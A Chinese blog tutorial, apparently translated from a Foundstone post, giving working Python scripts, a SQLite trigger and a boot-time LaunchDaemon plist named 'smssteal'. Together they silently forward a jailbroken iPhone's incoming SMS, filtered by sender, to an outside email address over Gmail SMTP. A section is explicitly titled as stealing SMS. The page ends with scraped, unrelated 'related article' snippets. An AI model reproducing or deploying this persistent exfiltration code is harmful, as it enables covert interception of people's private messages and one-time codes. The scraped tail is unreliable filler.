iPhone上将短信内容发送到指定邮箱的方法
迄今为止,移动应用安全基本聚焦在以下几个方面,一是移动设备管理BYOD(bring your own device),二是移动恶意软件分析,三是移动设备用户隐私安全,四是移动操作系统内核漏洞挖掘。对普通用户而言,窃取用户隐私数据的恶意软件是很大的威胁。本篇文章旨在介绍一种如何将设备上的短信发送到指定邮箱中的方法,方法来自Forwarding SMS to Email on Jailbroken iOS

实验环境
1.iOS 5.1.1越狱设备
2. 通过cydia安装 python 2.7.3
3. 通过cydia安装SQLite 3.x
4. 通过Cydia安装adv-cmds
一、使用python脚本读取sms.db数据库中存储的短信内容

iOS 短信存储在系统的/var/mobile/Library/SMS/文件夹中,包含3个主要文件:

(1)sms.db,标准的SQLite 3格式,存储主要的短信数据
(2)sms.db-shm, "Associate File"
(3)sms.db-wal. “Write Ahead Log"

danimato-iPod:/var/mobile/Library/SMS root# file sms.db
sms.db: SQLite 3.x database

danimato-iPod:/var/mobile/Library/SMS root# file sms.db-shm
sms.db-shm: data

/var/mobile/Library/SMS root# file sms.db-wal
sms.db-wal: data

我们使用SQLite Database Browser打开sms.db,并执行查询语句,会发现如下错误

于是,我们可以使用strings命令查看一下这个文件里面的内容(strings命令在初步分析文件时很有用)

danimato-iPod:/var/mobile/Library/SMS root# strings sms.db >smsdb

打开smsdb文件,可以看到短信message表结构,如下所示

CREATE TABLE message (ROWID INTEGER PRIMARY KEY AUTOINCREMENT, address TEXT, date INTEGER, text TEXT, flags INTEGER, replace INTEGER, svc_center TEXT, group_id INTEGER,association_id INTEGER, height INTEGER, UIFlags INTEGER, version INTEGER, subject TEXT,country TEXT, headers BLOB, recipients BLOB, read INTEGER, madrid_attributedBody BLOB,madrid_handle TEXT, madrid_version INTEGER, madrid_guid TEXT, madrid_type INTEGER,madrid_roomname TEXT, madrid_service TEXT, madrid_account TEXT, madrid_account_guid TEXT,madrid_flags INTEGER, madrid_attachmentInfo BLOB, madrid_url TEXT, madrid_error INTEGER,is_madrid INTEGER, madrid_date_read INTEGER, madrid_date_delivered INTEGER)

我们可以使用python脚本smsDBQuer.py(注意:原脚本不支持中文,需要改变一下)来查询一下该表中的数据,如下所示输出未读短信数量及内容

#!/usr/bin/python
# smstest.py
# by KrishnaChaitanya Yarramsetty
# www.foundstone.com

import sqlite3 as lite
import sys
import smtplib

smspath="/var/mobile/Library/SMS/"

con = lite.connect(smspath+'sms.db')
msg=""

with con:
con.row_factory = lite.Row
cur = con.cursor()
cur.execute('SELECT text,adderss from message where read=0 order by date desc')
rows = cur.fetchall()
#data = cur.fetchone()
counter=0
print "Latest displayed first"
for row in rows:
counter+=1
print "Unread Message: %s" % counter

textencode = row["text"].encode('gb2312')
print "Text: %s" % textencode

addressdecode = row["address"].encode('gb2312')
print "Address: %s" % addressdecode

#print "Text: %s" % row["text"]
msg=row["text"]

我们将smsDBQuery.py脚本上传到设备/var/mobile/Library/SMS/目录下

danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsDBQuery.py

danimato-iPod:/var/mobile/Library/SMS root# python smsDBQuery.py

运行结果如下:

二、窃取iPhone短信信息
接下来演示如何将iPhone上短信信息转发到指定邮箱中

1. smsCreateTrigger.py脚本

#!/usr/bin/python
# smstrigger.py
# by KrishnaChaitanya Yarramsetty
# www.foundstone.com

import sqlite3 as lite
import sys

smspath="/var/mobile/Library/SMS/"

con = lite.connect(smspath + 'sms.db')

with con:
con.row_factory = lite.Row
cur = con.cursor()

#cur.execute('DROP TABLE message2;')
#cur.execute('DROP TRIGGER insert_newest_message_email;')
cur.execute('CREATE TABLE message2 (ROWID INTEGER PRIMARY KEY, address TEXT, date INTEGER, text TEXT, emailsent INTEGER);')
cur.execute('CREATE TRIGGER insert_newest_message_email AFTER INSERT ON message WHEN new.ROWID >= 0 BEGIN INSERT INTO "message2" select ROWID,address,date,text,0 from message where ROWID=new.ROWID; END;')
print 'Done.'

我们将smsCreateTrigger.py上传到设备/var/mobile/Library/SMS/目录下,修改执行权限,并运行

danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsCreateTrigger.py

danimato-iPod:/var/mobile/Library/SMS root# python smsCreateTrigger.py 
Done.

该脚本的功能是当message表有记录增加时,将新增记录插入新创建的message2表中

2.smsWatcher.py 脚本

#!/usr/bin/python
# smsread.py 
# by KrishnaChaitanya Yarramsetty
# www.foundstone.com

import sqlite3 as lite
import sys
import smtplib
import time

def sendEmail(msg):
fromaddr = 'abc@gmail.com'
toaddrs = 'xyz@gmail.com'

# Credentials 
username = 'abc'
password = '****'

# The actual mail send snippet
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()

#Set path for SMS directory
#smsfromaddress will be used a filter. filter restricts only to those sms that have FROM address as mentioned below. FROM addresses can be multiple as well.
#"address" is the column name.

smspath="/var/mobile/Library/SMS/"
smsfromaddress=('AXARWINF','6564567890',)

#Poll for any new messages waiting to be delivered in an infinite loop with 60 second interval. 
#though it is not one of the efficient methods, considering the purpose of the script it was taken for granted

while 1==1:
#Connect to the database and read sms from 'message2' table.
con = lite.connect(smspath+'sms.db')
with con:
con.row_factory = lite.Row
cur = con.cursor()
cur2 = con.cursor()
cur.execute('SELECT * from message2 where emailsent=0 and address=?',smsfromaddress)
rows = cur.fetchall()
for row in rows:
msg='Address is ' + row["address"] + ' Text Message is ' + row["text"].encode('gb2312') 
sendEmail(msg)
ROWID = (row["ROWID"],)
cur2.execute('UPDATE message2 SET emailsent=1 WHERE ROWID=?', ROWID)
con.commit()
time.sleep(60)

该脚本的功能是将messge2表中指定短信发送到指定邮箱中,我们需要修改脚本中用来接收SMS短信的邮箱相关信息

fromaddr = 'danqingdani@gmail.com' #发件人地址
toaddrs = '335451997@qq.com' #收件人地址

username = 'danqingdani@gmail.com' #发件人邮箱名
password = '****'#发件人邮箱密码

server = smtplib.SMTP('smtp.gmail.com:587')#发件邮件服务器

smsfromaddress=('AXARWINF','6564567890',)#指定你想窃取的短信来自哪里

上传smsWatcher.py到设备/var/mobile/Library/SMS/目录下,修改执行权限,并在后台运行

danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsWatcher.py 
danimato-iPod:/var/mobile/Library/SMS root# python smsWatcher.py &
[1] 4819

当运行上面两个脚本的iPhone有新的短信信息时,短信内容就会发送到你指定的邮箱中去了
3.设置脚本开机自动启动
上述脚本如果要常驻系统,开机自动启动,需要做以下设置,首先在/var/mobile/Library/SMS目录下编写一个bash脚本启动smsWatcher.py

danimato-iPod:/var/mobile/Library/SMS root# cat smsWatcher
#!/bin/bash
python /var/mobile/Library/SMS/smsWatcher.py

danimato-iPod:/var/mobile/Library/SMS root# cat smsWatcher
danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsWatcher

然后在/System/Library/LaunchDaemons目录下编写一个plist配置文件,配置开机自动启动

danimato-iPod:/System/Library/LaunchDaemons root# cat com.dani.smssteal.plist 
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN""http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.dani.smssteal</string>
<key>Program</key>
<string>/var/mobile/Library/SMS/smsWatcher</string>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

danimato-iPod:/System/Library/LaunchDaemons root# launchctl load/System/Library/LaunchDaemons/com.dani.smssteal.plist

有iPhone的朋友可以试一试,欢迎交流

参考资料:
http://blog.opensecurityresearch.com/2013/02/forwarding-sms-to-email-on-jailbroken.html

iPhone上将短信内容发送到指定邮箱的方法相关推荐

  1. 通过短信猫发送手机短信

    wavecom短信猫常用AT命令 一.一般命令 1. AT+CGMI 给出模块厂商的标识. 2. AT+CGMM 获得模块标识.这个命令用来得到支持的频带 (GSM 900,DCS 1800 或PCS ...

  2. 前端开发【短信分享】——H5调起短信,发送指定内容到指定号码

    目录 一.终端调试本地localhost页面 1.网络环境设置 2.查看电脑本地 3.手机访问地址 4.防火墙问题 二.项目说明 1.sns短信调起 2.终端发送说明 3.终端判断说明 4.项目源码 ...

  3. html调用短信接口发送消息的实例,HTTP电脑发送短信接口调用示例

    一.工作方式 双方通过HTTP方式交互数据,第三方可以简单的"name=value"方式发送提交内容或响应请求内容.即通过HTTP的GET/POST方式交换. 另外双方需要保证数据 ...

  4. Android 调用系统发短信界面,给指定号码发短信,并带短信内容

    工具类如下ContentUtil.java: package com.zhoucj.messagedemo.util; import android.content.Context; import a ...

  5. ios10 android 短信,ios10系统短信怎么发送手写内容?ios10短信发送手写内容教程[多图]...

    ios10又有新功能啦啦!!小伙伴们赶紧奔走呼号,ios10系统短信可以发送手写内容,听起来就很酷炫!ios10系统短信怎么发送手写内容?来看看ios10短信发送手写内容教程吧! ios10系统短信怎 ...

  6. Android发送短信时 短信内容超长处理

    Android发送短信时 短信内容超长处理 一条短信只可容纳70个中文,所以当短信长度超过70个中文字符时程序就要特殊处理了. 通常有两种方式: 一.通过sendTextMessage()方法逐条依次 ...

  7. 自定义List列表显示短信内容,仿iphone短信气泡

    自定义List列表显示短信内容,仿iphone短信气泡 短信消息实体类 [java] view plain copy print ? package com.android; /** * 消息实体类 ...

  8. 安卓短信功能全解:调用系统短信功能发送短信、彩信,使用SmsManager发送短信,并监听发送短信的投递情况,使用广播接收器监听接收的短信。

    全栈工程师开发手册 (作者:栾鹏) 安卓教程全解 安卓短信功能全解:调用系统短信功能发送短信.彩信,使用SmsManager发送短信,并监听发送短信的投递情况,使用广播接收器监听接收的短信. 首先需要 ...

  9. 美橙互联短信服务——发送注册短信并验证

    接口层 package com.demo.service;import com.demo.common.JsonResult;public interface SendService {/*** 发送 ...

最新文章

  1. pppoe设计的一般性
  2. 安卓4.0 html5,原道N80测安卓4.0下HTML5和FLASH
  3. VS2015 解决方案 或者项目 卡 正在加载 的解决办法
  4. vscode使用-添加格式化插件
  5. 集成学习(一)—预备知识:分类树和回归树
  6. 中国国际智能产业博览会-2018-08-23至25 重庆国际博览中心举行
  7. Python中的包以及跨目录访问变量和函数(同级目录)
  8. devStack安装OpenStack Ocata版本 (Linux Bridge+VLAN)
  9. node获取图片路径_使用软连接来解决 Drupal jsonapi 中 Node 节点图片相对路径的问题...
  10. [Nginx]负载均衡和动静分离
  11. 《工业控制网络安全技术与实践》一一第3章 工业控制网络安全威胁
  12. Jeecg 初级入门
  13. IJCAI阿里论文 | JUMP: 一种点击和停留时长的协同预估器...
  14. IEEP-网络实施-项目交付流程
  15. 产品做得差,总是有人骂
  16. 手机数控模拟器安卓版_手机cnc加工模拟器中文版下载-cnc加工模拟器手机版 1.1.4 安卓版-玩友游戏网...
  17. [原创]战国的杀人机器白起
  18. Day8:盈利源泉是否可持续(1)
  19. 学习笔记1 - ResNet网络学习
  20. 用公式提取多个Excel文件的数据

热门文章

  1. 团队作业8----第二次项目冲刺(Beta阶段) 第六天
  2. js ==与===区别(两个等号与三个等号)
  3. 编译参数-ObjC的说明
  4. [ C++ ] 理解const
  5. 万变不离其中----SQL必记语法
  6. 为了测试Writer的发图功能,也为了让girls现身。
  7. 《LeetCode力扣练习》第53题 最大子数组和 Java
  8. hexo+markdown添加本地图片无法显示
  9. 海康威视连续采图设置ROI局部显示_c#
  10. hfss怎么看s参数的反射系数_压敏电阻尺寸参数应该怎么看?